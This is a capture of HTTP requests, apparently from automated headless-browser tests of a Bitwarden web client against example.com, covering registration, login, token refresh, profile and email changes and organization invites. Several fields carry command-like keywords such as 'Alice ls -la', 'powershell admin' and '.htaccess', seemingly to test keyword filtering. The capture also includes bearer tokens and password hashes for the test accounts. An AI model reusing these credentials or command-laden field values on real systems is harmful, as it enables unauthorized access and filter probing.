{"method": "POST", "target": "/identity/accounts/register/send-verification-email", "headers": ["Host: example.com", "Content-Length: 92", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\",\"name\":\"powershell admin\",\"receiveMarketingEmails\":false}"}
{"method": "POST", "target": "/identity/accounts/register/finish", "headers": ["Host: example.com", "Content-Length: 3348", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\",\"masterPasswordHint\":\".htaccess\",\"userAsymmetricKeys\":{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyLtb645AK3eNDoCEXKuM4hMd5CjQJPRinz/JPtPuy3mvpWjHciM1UhC6qKHk/VYpBKMWSEP+DuaNtCwYU6yhWyqlfLeKiBx1t/vUkLG8Qk4TR3c0rGXnez9WK+fhTfh/tIoXEqKfXH9cFlPBHO3fKXlPQbb3OCHqu3mdWjZ+jjUOp3PgStVLNHyzEJ0oU0UkX0VVqAEzakH37xcvwHZAuea7jBmgc9mBPF5S13UmILA01IiGyEuBoJopwvZguz6msacO2SqymRYfDGBYXY4Cl7pKViV0BBZFPGFbszLrC3KzaHRY2Tplz+ZeJQNx2owf31TQ8/Tc/CdlL/qO4NwLmwIDAQAB\",\"encryptedPrivateKey\":\"2.iB6ZSQawm9h1pyTq/ZG5YA==|zHrGu+3csp1X5paJOAp8NQWrZIOkycjtXNHrzoLi52RnRjt2HPDchYv5dNGzVtI517ErK1w+cgPw5/B5zPDwHGJUjckJBhXQ3cTzrdrBUjbkDBlGHLICnyb8NpbiWkdr0jUQLkCqcUpQulyyDjl1zPhXnIMhmv1fEqYw9qrk0jGcjDCvND80RvGg0lNnns3a1WKXoV0OazXl4pCXRRGMfDR477eAvcE0olKyeiZcEdfHmfjV4ysm4l/pUfpkRNQz3QPV1Agc/UT6Ji6TrYz8aicBIVZBYI9QfhGxG0qYrNqjBYkkq4ui1i7Feeqdo1eeAfLoT3L2otAnuObOy6RNAyDujg9IiEYterFzU+X6cN97dtzphqZOY/PpWJp0nmApZNqj8dz3EA3ibg5M4VFCMICqBxmV8cZNfllC3leIExtFyi1SDjpySc8RyJ3gTrm1OfjCMFOsBTMARAoRahRT8VEvvm1l92tnLTBbizfjoIggA5JJ0miGZobRo+jePw9Bhl15Uu3NwqH4OGXLLJ6IzCAlzipRQdd2Y2LfaLMCuMl3njHFNbd1rTQv3c1LPWQAWPQvjXDUx4zodraBRnGiLtTsTjCVJ/YSExIrQkMvWJd/NYRGo3+E/WNmzUn8Few11rY+JxyKw4TbW+IVSsqBOG69gxCO2YI65v9nSVhmAf63fyVDJA5ZgUP+Yo/RiJyZNa8yK3J6bn8OAUYWu4yX5ZEL3UJ8jO76PuNzOXK4kIB5HL8hcBv1KS/qc6/tQ7efuePG1N1+a7I+OWa3PuLKCBL/EAiLgnyO28YXoBkBTqWA/7noXVr3bwNpc0gX2jQVFVQHpGYajPwczBVMlkXZXBoaJbixfzNmZnLg+vdYBvwv0QNeDepJntqDT+gE3ibKIK2aM+HwWtJajurjm5S+iwfeCuXA+BA8CRaZIn5VQKVoTwLGc6iJ2oeVHEydyTrxunN6uk8xMKP3J4W1xItzr2e4IssVqDCspKoAasL5OBoCxWnAebkuqM0HlzuJbixR4snc3biwZVzE//dPy1WYIN1zm8b3UqYn+LkntfO6IT6FOl1TxlVUGmfEuZwm8auoFtiEbNub0VwkuzzsEshKR25y5vMOBoBKcjQ/zieai2pf1axfRcXBnbgynv6CKKf5jOEUVW15URVCnZFRTFLfGwuNiyhC0Nxx4fgLao9JXm/bQNJjpdgFp9LuaUN0Mq20vx2zbkuo0j4aH3RsnkFIcH55SN4r6eVf651GNhGQ5ccwYUltMm1IZGXAEBpv+EJ2+5B4WDGZmA+UtbqoMPmdfe1d0cIdcJ1xocZrCYVUKs8DjUamQ4iiD8OCMLuXR9iokij9HLJtPTQBIjds+xjdAz6XoVuzOhqjtR/dWm385wbeLpNLj1dPflRaYkajn9XEz/8Flw/CM2r2UJcfgC7uVR58Loiwo0QziF/Of8HyU4qVbnoxl9zQRud/4IUZWWEEFzaYwYSuQvRT44n6DPKuLGfjO7EK6s/lit2Ln9lZKKgb3nW5BaZjh8KyXyU1MMKD0xXiry5oy/J097KhoMvXJup0EgdKtnKnnT5kkZ2YY+DJW416Ej7pnErR1bP4cDw98s43d9fCMOyvgn9byIKJ/YGlihUOrN0+Fqn5dWnOxsE=|9eW/HWKZYv/rst6wsqzjFwBBfjckKPOO14MLcOPdUL4=\"},\"masterPasswordAuthentication\":{\"salt\":\"python3.dev@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"ovyYZWijzy8e/C940Ikcn1iF/kRKLGBQbXmhBC/I+ZU=\"},\"masterPasswordUnlock\":{\"salt\":\"python3.dev@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2./xh7dFvPMQmV4/EirH8fLA==|qS9IxqClHjFuMSyAW5Ao2fiO4C24j5HMig4ZfUEmU1sW0BbxTMNTSo/1q8sQ3DS6D76NAXDzxicubqhr1vYTNRaVk7RGDISG95IQgYqgcl4=|AoT4BslDLHng16p1QQ3QeCCqujVSVmlNL54W568W2bk=\"},\"emailVerificationToken\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI4ODQsImV4cCI6MTc5NDI4NDY4NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxyZWdpc3Rlcl92ZXJpZnkiLCJzdWIiOiJweXRob24zLmRldkBleGFtcGxlLmNvbSIsIm5hbWUiOiJwb3dlcnNoZWxsIGFkbWluIiwidmVyaWZpZWQiOmZhbHNlfQ.YQnKOLP4YKEERu7G2UFsq2HldBEbby7aNduheU5vjir2z_r60Iwnjdjez8U_ixgbTNDwMU2YNzZNv6e6DaVB_4_1nHJt1m4inYlv_vvjD5E2aUDMww4iWb0zr2g_llq3XlKaXtbkfJVvZNJ8njckr7rOJgD-fTHkXDe_2h7r0T7jwSafhan1arZmfiKYdLYY2l9mU-vRrE-N0RmOs7H1ZQUAeTrX_A3KcgK0oMwEkCsZx0kGWJkDZs0xYEGlewbr82d5SPlv2k78GjyzogKWvJs8glHZpwUTBCeiu1jco7mLSDxWN-TQyUhQY-wtmTkv2CBT0ivjGERCKJzVWjIdoA\"}"}
{"method": "POST", "target": "/identity/accounts/prelogin/password", "headers": ["Host: example.com", "Content-Length: 35", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 246", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=b69341f5-c05b-4378-9c35-fe1043bfade3&deviceName=unknown&grant_type=password&username=python3.dev%40example.com&password=ovyYZWijzy8e%2FC940Ikcn1iF%2FkRKLGBQbXmhBC%2FI%2BZU%3D"}
{"method": "POST", "target": "/api/accounts/key-management/user-key-id", "headers": ["Host: example.com", "Content-Length: 48", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI4OTEsImV4cCI6MTc5NDI5MDA5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6IjQ0OTM0Mjg2LWVhNzYtNDNjMy05YTJmLTFhYzRiYTVhY2YxNSIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJwb3dlcnNoZWxsIGFkbWluIiwiZW1haWwiOiJweXRob24zLmRldkBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiI4OTZlNzk3ZC1kYmVmLTRjYjctODQzNi05Y2ZkYzRmMTUxNWIiLCJkZXZpY2UiOiJiNjkzNDFmNS1jMDViLTQzNzgtOWMzNS1mZTEwNDNiZmFkZTMiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Kp43tJ3hssLaXnAx7W75fCpL1UZKvXV31ASpVeUQrlie54hx7DWXBCWjb_HIA64xiPrmCw3QhyhDA4BXlqSJljNLmg_h5022joA5HequCB2sgo9dd9MKaB0EO6oqb3v0gA5e8Gpo49ZV12vF7nMW-MTP82g9-OspQVSfNARGd7e8BOpwQzq4ZYmxvMAMgl9HMXHxFfsAzq5PQCyqR1vEp6iS7uapbTWbrvkosDFWEHVhmrPGTkB3uR5Lfht46iQNJ4aA0KQFdPFDec8iwuob4Couj90xov1hdZc77bgxHg6qvzE4_0HutXPZ5jyxGQmogdMJMlx0DDCB9pAjZeoG9g", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"userKeyId\":\"3792b4ab9863972f1f7f5bf6ded0b595\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI4OTEsImV4cCI6MTc5Njg3NDg5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiS0VQUnZkdy1TQVk3UzZaX05PV2ZNb1ZiRURjejZTTDFsSWVIckRnbkUtRWFBaFFVdGlfYWFPSGZ6M2VkRy1nZzlkRmI0YkpqRW5oSC1tcVdRLTB5c0E9PSIsInRva2VuIjpudWxsfQ.MwoZxAVoW7_XPkjPiHjTmqKKhYFOMTDY5xZFTwRCyZeD1TRufNxTlHkZrc_BZJjA32bk6XZKb4b-lSQjIKWftorUEX3gsKqH9E-0GKc2sLR8BGpqpj-iVevcG8VzCjknBJHLG5iRbh2vm2tuxWyNU_sRa9dTI6T1kJh-qv-mxdyujGKJIkbQ6zHxtO3j2XIaL38eywUC3cXTgsvlFwTovs0lQzMEm3cM-hNPdjQTxvJ4Re1IAPHD6-LT6bOXpUG9Oyr0vqgeO68FsBofmCOft6ihzyNne5qE1vAtEOx3uuzG_J3SXn4NyazZgjf6pBO31EkevRkjNCDSMFsIXbTN8w"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=ccc6e0e6-3020-4dd9-bd8a-458eec6dadb3&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "PUT", "target": "/api/accounts/profile", "headers": ["Host: example.com", "Content-Length: 49", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"culture\":\"en-US\",\"name\":\".htaccess powershell\"}"}
{"method": "POST", "target": "/api/accounts/email-token", "headers": ["Host: example.com", "Content-Length: 111", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"newEmail\":\"powershell.alice@example.com\",\"masterPasswordHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\"}"}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users?includeGroups=true", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users/invite", "headers": ["Host: example.com", "Content-Length: 158", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"accessSecretsManager\":false,\"collections\":[],\"emails\":[\"powershell@example.com\",\"python3@example.com\"],\"type\":2,\"groups\":[],\"permissions\":{\"response\":null}}"}
{"method": "GET", "target": "/api/emergency-access/trusted", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", 